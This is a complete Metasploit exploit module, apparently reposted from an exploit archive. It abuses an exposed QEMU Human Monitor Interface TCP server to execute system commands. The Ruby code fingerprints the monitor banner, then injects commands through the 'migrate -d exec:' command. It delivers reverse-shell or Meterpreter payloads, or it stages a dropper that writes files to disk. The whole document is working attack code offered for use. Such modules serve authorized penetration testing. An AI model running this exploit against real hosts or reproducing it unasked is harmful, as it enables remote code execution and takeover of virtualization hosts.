QEMU Monitor HMP migrate Command Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::CmdStager  
include Msf::Exploit::FileDropper  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => "QEMU Monitor HMP 'migrate' Command Execution",  
'Description' => %q{  
This module uses QEMU's Monitor Human Monitor Interface (HMP)  
TCP server to execute system commands using the `migrate` command.  
  
This module has been tested successfully on QEMU version 6.2.0  
on Ubuntu 20.04.  
},  
'License' => MSF_LICENSE,  
'Author' => ['bcoles'],  
'References' => [  
['URL', 'https://wiki.qemu.org/ToDo/HMP'],  
['URL', 'https://www.qemu.org/docs/master/system/monitor.html'],  
['URL', 'https://www.qemu.org/docs/master/system/security.html'],  
['URL', 'https://www.linux-kvm.org/page/Migration'],  
],  
'Arch' => [ ARCH_CMD, ARCH_AARCH64, ARCH_ARMLE, ARCH_X86, ARCH_X64 ],  
'Platform' => %w[unix linux],  
'Payload' => {  
'DisableNops' => true,  
'BadChars' => "\x00\x0a\x0d\x22",  
'Space' => 1010  
},  
'Targets' => [  
[  
'Unix (Command)',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },  
'Type' => :unix_cmd  
}  
],  
[  
'Linux (Dropper)',  
{  
'Platform' => 'linux',  
'Arch' => [ ARCH_AARCH64, ARCH_ARMLE, ARCH_X86, ARCH_X64 ],  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',  
'PrependFork' => true,  
'MeterpreterTryToFork' => true  
},  
'Type' => :linux_dropper  
}  
]  
],  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
},  
'Privileged' => false,  
'DisclosureDate' => '2011-12-02'  
)  
)  
end  
  
def read_until_prompt  
::Timeout.timeout(10) do  
loop do  
res = sock.get_once  
break if res.nil?  
break if res.to_s.include?('(qemu)')  
end  
end  
end  
  
def check  
connect  
banner = sock.get_once.to_s  
disconnect  
  
unless banner.include?('QEMU') && banner.include?('monitor')  
return CheckCode::Safe('Service is not QEMU monitor HMP.')  
end  
  
CheckCode::Appears('QEMU monitor HMP service is running.')  
end  
  
def execute_command(cmd, _opts = {})  
cmd = cmd.gsub('\\', '\\\\\\')  
vprint_status("Executing command: #{cmd}")  
sock.put("migrate -d \"exec:#{cmd}\"\n")  
read_until_prompt  
end  
  
def exploit  
connect  
read_until_prompt  
  
print_status "Sending payload (#{payload.encoded.length} bytes) ..."  
  
case target['Type']  
when :unix_cmd  
execute_command(payload.encoded)  
when :linux_dropper  
execute_cmdstager(linemax: 1010, background: true)  
end  
ensure  
disconnect unless sock.nil?  
end  
end  
`